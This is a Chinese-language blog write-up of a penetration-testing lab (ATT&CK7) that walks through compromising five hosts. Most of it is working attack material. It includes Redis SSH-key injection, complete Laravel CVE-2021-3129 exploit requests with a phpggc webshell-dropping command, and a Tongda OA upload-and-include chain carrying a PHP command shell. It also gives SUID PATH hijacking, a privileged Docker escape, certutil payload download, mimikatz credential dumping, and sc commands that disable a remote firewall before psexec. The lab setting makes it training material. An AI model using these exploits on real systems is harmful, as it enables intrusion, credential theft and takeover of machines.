attck7

att ck7靶场

20210226161713.png

获取第一台DMZ主机(192.168.52.10)

拿fscan扫一下 发现有redis未授权访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt #将公钥id_rsa.pub文件写入test.txt文件

cat test.txt | redis-cli -h 192.168.220.129 -x set crack

redis-cli -h xx.xx.xx.xx

​ > config set dir /root/.ssh #这步需要redis服务使用root权限开启 否则更改不了路径

​ > config set dbfilename authorized_keys

​ >save

​ >exit

cd /root/.ssh

ssh -i id_rsa root@172.17.137.102

第二台主机(192.168.52.20)

首先是公开在网络上的172.17.137.xx

一个laravel框架漏洞

Laravel RCE CVE-2021-3129

测试漏洞存在

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 328

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxx"
}
}

file_put_contents 报错 xxxxxx

(1)发送如下数据包,将Laravel的原日志文件laravel.log清空:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 328

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

(2)发送如下数据包,给Log增加一次前缀,用于对齐:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 163

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}

(3) 在phpggc目录下执行生成exp

1
2
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
#写一个shell

image-20231115202747638

(4)将之前生成的编码后的POC作为viewFile的值,发送数据包:注意在生成的poc段后添加a

否则最终laravel.log里面将生成两个POC,导致利用失败

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 5058

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}

(5)发送如下数据包,清空对log文件中的干扰字符,只留下POC:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 299

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

(6)使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径):

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 210

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}

(7)蚁剑生成shell 连接就行

image-20231115203431120

查看cgroup可以判断是否在docker里面

1
cat /proc/self/cgroup

linux cgroups 详解 - 知乎 (zhihu.com)

轻量级容器 Docker 及k8s中的pod就使用了 cgroups 提供的资源限制能力来完成cpu,内存等部分的资源控制。

image-20231120182807632

所以这个服务开放在docker里面

docker内权限提升

环境变量提权Linux提权利用SUID提权

1
find / -perm -u=s -type f 2>/dev/null 

image-20231120183108390

查找具有suid权限的文件 看文件执行结果 一般劫持的有find cp more bash nmap等

经验

1
2
3
4
5
6
7
8
9
10
11
12
13
cd /tmp 

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH

/home/jobs

./shell #该./shell文件执行结果是ps 所以劫持ps

执行suid文件劫持环境变量进行提权

image-20231120183350261

docker特权逃逸 拿第二台主机

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

Docker 逃逸方法汇总 - 知乎 (zhihu.com)

1
cat /proc/self/status |grep Cap

检查是否以特权模式启动 看Capeff 是否为000000003ffffffffff 或者000001ffffffffff

image-20231120183837702

看逃逸方法 这里选择挂载磁盘 写入ssh公钥 ssh连接

查看磁盘文件

1
2
fdisk -l 		#查看磁盘文件
ls /dev #查看设备文件

首先挂载本地磁盘到该docker目录下

1
2
3
mkdir test 

mount /dev/sda1 /test

在第一台主机上生成ssh文件 一个私钥一个公钥 私钥赋予权限

1
2
ssh-keygen -f test
chmod 600 test

将公钥写入我们挂载到docker的磁盘文件中

1
2
3
4
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys#看挂载到哪个文件夹下就是哪个文件下
echo > /test/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys

直接ssh连 私钥连接 ssh -i test ubuntu@192.168.52.20

image-20231120190438171

至此拿下第二台主机 上线msf

上线msf后记得更新路由!!

内网探测

第二台主机网卡

上传fscan iox

image-20231120190634057

拿建一个socks5通道

1
2
3
VPS   ./iox proxy -l 8888 -l 1080 

ubuntu ./iox proxy -r 172.17.137.93:8888

fscan扫描内网

xxxxxxxxxx find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} ;text

第三台机子(通达OA)

扫描内网后发现有一台

192.168.52.30 –192.168.93.10 开放8080端口 挂好socks5代理后查看发现是一个通达oa

查看版本

1
http[s]://TongDaOA.domain/inc/expired.php 判断通达版本

通达OA部分漏洞信息整合 - 知乎 (zhihu.com)可以看看这个

发现有通达OA前台任意用户登录漏洞+RCE漏洞通达OA前台任意用户登录漏洞+RCE漏洞复现_通达oa2016漏洞-CSDN博客

这边是利用了任意文件执行写入msf的payload 正向连接

首先上传cmd执行文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /ispirit/im/upload.php HTTP/1.1
Host: 49.233.3.2:8888
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

此时会返回一个jpg路径

image-20231122195231974

用该jpg文件路径 然后做文件包含

1
2
3
4
5
6
7
8
9
10
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 49.233.3.2:8888
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2007/422124454.jpg"}&cmd=whoami

返回 nt authority\system时包含成功

此时我们上传我们的payload文件

这里用到的certutil文件上传

1
certutil.exe -urlcache -split -f http://example.com/a.txt

certutil 命令详解

image-20231122195519973

下载到c盘后执行上线

image-20231122195608601

第四台机子(DC)

用msf自带的psexec进行横向移动内网渗透测试:内网横向移动基础总结 - FreeBuf网络安全行业门户 在192.168.52.30那台机子上进行

第一步获取域内单机密码

用msf中的mimikatz

1
2
3
4
5
6
7
load kiwi

ps

migrate xxx(进程号)#进程迁移至x64进程中

kiwi_cmd sekurlsa::logonpasswords#读取域管理员账号和密码

image-20231122204111548

psexec需要目标机子关闭防火墙

这里使用$IPC进行连接 sc进行命令执行【内网安全-横向移动】IPC$连接—>计划任务—>上线_ipc链接命令_黑色地带(崛起)的博客-CSDN博客

1
2
3
4
5
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall

防火墙关闭以后就用psexec横向移动

image-20231122204236179

image-20231122204333341

上线msf

image-20231122195701985

第五台机子(永恒之蓝)

没复现成功不知道为啥 然后后面route断了直接摆烂

原理就永恒之蓝的ms17_010漏洞复现


attck7
http://example.com/2023/12/17/penetration/attck7/
作者
Re1ca1g
发布于
2023年12月17日
许可协议